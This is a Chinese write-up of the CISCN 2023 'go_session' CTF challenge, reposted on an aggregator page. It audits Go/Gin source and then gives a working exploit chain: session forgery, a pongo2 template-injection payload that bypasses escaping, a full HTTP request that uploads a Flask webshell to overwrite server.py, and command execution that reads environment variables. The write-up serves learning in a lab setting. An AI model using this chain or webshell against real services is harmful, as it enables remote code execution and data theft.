[CISCN 2023 初赛]go_session

news2024/11/23 11:47:47

文章目录

  • 考点
  • 代码审计
    • main.go
    • route.go
      • Index函数
      • Admin函数
      • Flask函数
  • 解题过程
    • 伪造session
    • 获取server.py
    • 构造payload
    • 覆盖server.py
    • 命令执行


考点

session伪造,pongo2模板注入,debug模式覆盖源文件

代码审计

main.go

package main

import (
	"github.com/gin-gonic/gin"
	"main/route"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/admin", route.Admin)
	r.GET("/flask", route.Flask)
	r.Run("0.0.0.0:80")
}

main函数给了三个路由,分别对应根路径 //admin/flask
我们追踪到route.go

route.go

package route

import (
	"github.com/flosch/pongo2/v6"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"html"
	"io"
	"net/http"
	"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

这是一个路由文件,使用了Gin框架和pongo2的模板引擎

主要定义了三个路由函数,接下来逐步分析

Index函数

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

Index函数用于处理根路径下的请求,它的参数是一个指向gin.Context的指针,而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点

首先是接收session的参数name,然后判断会话中的name值是否为空,如果为空,就会将name的值设置为guest,然后将会话保存到请求中,最后使用String方法返回一个状态码和一个字符串。

在这里插入图片描述

Admin函数

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

函数首先判断是否为空,然后判断是否为admin,如果是name为admin,那么从查询参数中获取名为 name 的值,然后EscapeString函数进行转义,接着使用pongo2模板引擎打印字符串

Flask函数

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

函数判断参数name值是否为空,如果为空则返回报错信息(可能有我们需要的信息)

这里有个坑,也就是下面这句

resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))

如果我们想要给flask服务传入参数name=123,实际上要构造的是./flask?name=%3fname=123

解题过程

伪造session

题目大概逻辑已经清楚了,首要问题就是如何去伪造session,也就是如何去得到SESSION_KEY

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

执行过程:设置了基于 Cookie 的会话存储,并使用环境变量中的 SESSION_KEY 值作为会话密钥

由于我们无法知道环境变量,只能对SESSION_KEY进行猜测,就是并未设置SESSION_KEY,所以我们可以本地搭环境得到session值去伪造

首先修改源码
如果name不为admin,将其值设置为admin
在这里插入图片描述开启代理

go env -w GOPROXY=https://goproxy.io,direct

然后运行下main.go
在这里插入图片描述
访问127.0.0.1:80,得到cookie
在这里插入图片描述
访问./admin,bp抓包修改session
成功访问
在这里插入图片描述
伪造成功后我们再看看还有什么能获取的信息
所以我们尝试读去下报错信息

获取server.py

我们访问./Flask,并且传参name为空
(注意session得为admin)
在这里插入图片描述得到html代码,我们随便打开个网页复制进去
可以发现开启了debug,说明开启了热加载功能,允许在对代码进行更改后自动重新加载应用程序。这意味着可以在不必手动停止和重启 Flask 应用程序的情况下查看对代码的更改。
在这里插入图片描述
我们知道pongo2模板引擎存在注入点,可以执行go的代码,所以我们可以先上传文件覆盖server.py,再访问/flask路由,来执行命令

构造payload

使用gin包的SaveUploadedFile()进行文件上传

func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error

  • 第一个获取表单中的文件,第二个参数为保存的目录

所以使用ssti的payload为

{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}

但是我们在前面代码审计的时候知道,双引号会被html.EscapeString转义进行编码,所以需要绕过

我们利用gin中的Context.HandlerName()

HandlerName
返回主处理程序的名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”

所以如果是在Admin()里,返回的就是main/route.Admin
然后配合过滤器last获取到最后一个字符串也就是文件名为n

还有一个Context.Request.Referer()Request.Referer

返回header里的Referer的值

我们可以在请求中的Referer的值添加为/app/server.py

所以构造最终payload

{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}

但是在数据包中添加请求头时还要添加 Content-Type 头

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND

对于添加这个头的解释是

对表单提交,浏览器会自动设置合适的 Content-Type 请求,同时 生成一个唯一的边界字符串,并在请求体中使用这个边界字符串将不的表单字段和文件进行分隔。如果表单中包含文件上传的功能,需要 使用 multipart/form-data 类型的请求体格式。

注意分隔符的开始和结束格式

--分隔符
...
...
--分隔符--

覆盖server.py

访问./admin,数据包如下

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: node5.anna.nssctf.cn:28120
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=MTY5OTAxNjY1NnxEdi1CQkFFQ180SUFBUkFCRUFBQVBQLUNBQUlHYzNSeWFXNW5EQWdBQm5OdmJIWmxaQU5wYm5RRUFnQUFCbk4wY21sdVp3d05BQXRqYUdGc2JHVnVaMlZKWkFOcGJuUUVBd0Rfa0E9PXx0Nhf11tos024WRtfbo-1x1tZkxqxiP2paIr7GAXXEqA==; session-name=MTY5OTMxNjI2NHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXzsOnx_9Q3qCs6AZzIOC6h8UsEAuK5LiaOsjUjumSslrQ==
Upgrade-Insecure-Requests: 1
Content-Length: 423

------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain

from flask import *
import os
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args['name']
    file=os.popen(name).read()
    return file

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

可以看到上传成功
在这里插入图片描述

命令执行

然后就在./flask去命令执行,因为我们知道该路由获取name也是c.DefaultQuery

name=?name=env,拼接出来的url是
http://127.0.0.1:5000/?name=env
但写成name=env,拼接出来的url就是
http://127.0.0.1:5000/env

然后在环境变量找到flag

/flask?name=?name=env

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1180246.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决:ImportError: cannot import name ‘get_config‘

解决:ImportError: cannot import name ‘get_config’ 背景 今天使用Conda构建项目运行环境的时候报错:ImportError: cannot import name ‘get_config’ ##报错问题 from keras.callbacks import LearningRateScheduler, ModelCheckpointFile "D…

计算机毕设 基于大数据的高校校园学生一卡通数据分析

文章目录 0 项目简介任务 1数据导入与预处理任务 1.1 探查数据质量并进行缺失值和异常值处理1.1.2检查重复值1.1.3数据内容总览1.1.4数据分布总览1.1.5消费金额和消费次数观察消费金额和消费次数的散点图1.1.6观察 CardCount 特征的分布情况 任务2 食堂就餐行为分析任务 2.2 食…

1.IntelliJ-IDEA修改CobaltStrike

IntelliJ-IDEA修改CobaltStrike 前期准备一、创建一个新项目二、创建一个lib目录三、重构代码四、运行效果 免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均…

奔驰E Coupe 升级鼠标按键 操作简单 完美结合

人机交互系统正是汽车智能化发展的产物,它实现了人与车之间的互联。不知道大家有没有发现,在很多奔驰车的中央扶手箱前,有一块类似于“鼠标”的操作区,它并不是我们常见的换挡杆,而是奔驰研发的独立影音控制系统COMAND…

监控actuator配置以及踩坑记录

以前这个监控都是领导去加,我顶多去修改一些时间参数,让我自己加还是头一次 正经踩了不少坑啊 1.依赖引入 先说配置过程 不对 先说我们项目结构 我们有一个common项目,作为一个公共项目。各种项目公用的依赖,都配置在common中…

Cassandra介绍(二)

1.8. 数据 存储 ( CommitLog、MemTable、SSTable ) 写请求分别到 CommitLog 和 MemTable, 并且 MemTable 的数据会刷写到磁盘 SSTable 上. 除 了写数据,还有索引也会保存到磁盘上. 先将数据写到磁盘中的 commitlog,同时追加到中内存中的数据…

物理机安装CentOS7

准备阶段 一个需要安装版本的iso镜像文件一个U盘一台物理机一台有windos系统的电脑 制作启动盘 下载UltraISO (收费 搜一搜可以解决) 写入硬盘映像 先格式化,选择usb-hdd v2 写入 可能会卡 耐心等待 安装系统 插入u盘 进入 启动项选择页…

python使用selenium做自动化,最新版Chrome与chromedriver不兼容

目前Chrome版本是118.0.5993.118 下方是版本对应的下载地址: chrome版本118: https://download.csdn.net/download/qq_35845339/88510476 chrome版本119: chromedriverlinux64https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testin…

台式电脑一键重装Win10系统详细教程

很多用户都在使用台式Win10电脑办公,如果电脑出现系统问题无法解决了,这时候就可以考虑给电脑重装系统哦,下面小编给大家详细介绍关于台式电脑一键重装Win10系统的步骤方法,安装后电脑就能恢复正常,也不会影响到用户的…

新生儿长牙期:原因、科普和注意事项

引言: 新生儿长牙期是新父母关心的话题之一,因为它标志着婴儿开始生长乳牙。尽管这个过程在每个婴儿身上都会发生,但它可能引起不适和不安。本文将科普新生儿长牙的原因,提供相关信息,并为父母和监护人提供注意事项&a…

lazarus:数据集快速导出为excel、csv、sql及其他多种格式

lazarus被成为快速开发工具,为什么说“快速”,重要的一点是,很多工具是现成的,可以拿来直接就用。比如数据导出,如果需要把数据集导出为excel格式文件,写代码可能需要很多时间。lazarus就不用了&#xff0c…

Python学习笔记--类的访问控制

九、类的访问控制 1、类属性的访问控制 在 Java 中,有 public (公共)属性 和 private (私有)属性,这可以对属性进行访问控制。 那么在 Python 中有没有属性的访问控制呢? 一般情况下&#x…

基于SSM的大学学生成长系统

末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:Vue 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目:是 目录…

5+单基因泛癌范文式教学,适合小白学习

今天给同学们分享一篇生信文章“Comprehensive Pan-Cancer Analysis of KIF18A as a Marker for Prognosis and Immunity”,这篇文章发表在Biomolecules期刊上,影响因子为5.5。 结果解读: KIF18A的表达及其在泛癌中的诊断价值 TIMER数据库被…

操作系统:虚拟存储管理技术

文章目录 虚拟存储管理技术一、实验目的二、实验要求与内容、过程与结果 系列文章 虚拟存储管理技术 一、实验目的 存储管理的主要功能之一是合理地分配空间。请求页式管理是一种常用的虚拟存储管理技术。 本实验的目的是通过请求页式存储管理中页面置换算法模拟设计&#xf…

wpf Grid布局详解 `Auto` 和 `*` 是两种常见的设置方式 行或列占多个单元格,有点像excel里的合并单元格。使其余的列平均分配剩余的空间

比如只有行的界面 <Window x:Class"GenerateTokenApp.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d"http://schemas.microsoft.com/exp…

GoLong的学习之路(二十)进阶,语法之反射(reflect包)

这个是为了接上之前的语法篇的。按照我的学习计划&#xff0c;这里此时应该有一个小项目来做一个统合。但是吧&#xff0c;突然觉得&#xff0c;似乎也没必要。能学go的大部分肯定都是有其他语言的基础的。 接下来说反射 文章目录 反射介绍reflect包TypeOftype name和type kin…

重磅!OpenAI发布GPT-4 Turbo,史上最强ChatGPT来了!

11月7日凌晨&#xff0c;OpenAI在美国旧金山举办首届开发者大会&#xff0c;与来自全球的开发者、企业、合作伙伴分享了最新产品。 微软首席执行官Satya Nadella作为特邀嘉宾出席了此次盛会。 会上&#xff0c;OpenAI发布了128K 上下文的GPT-4 Turbo、自定义GPT、DALLE 3 API…

vscode中 vue3+ts 项目的提示失效,volar插件失效问题解决方案

文章目录 前情提要bug回顾解决方案最后 前情提要 说起来很耻辱&#xff0c;从mac环境换到window环境&#xff0c;vscode的配置都是云端更新过来的&#xff0c;应该是一切正常才对&#xff0c;奇怪的是我的项目环境出现问题了&#xff0c;关于组件的ts和追踪都没有效果&#xff…

Ansible入门—安装部署及各个模块应用案例(超详细)

目录 前言 一、环境概况 修改主机名&#xff08;可选项&#xff09; 二、安装部署 1.安装epel扩展源 2.安装Ansible 3.修改Ansible的hosts文件 4.生成密钥 三、Ansible模块使用介绍 Command模块 Shell模块 User模块 Copy模块 File模块 Hostname模块 Yum模块 Se…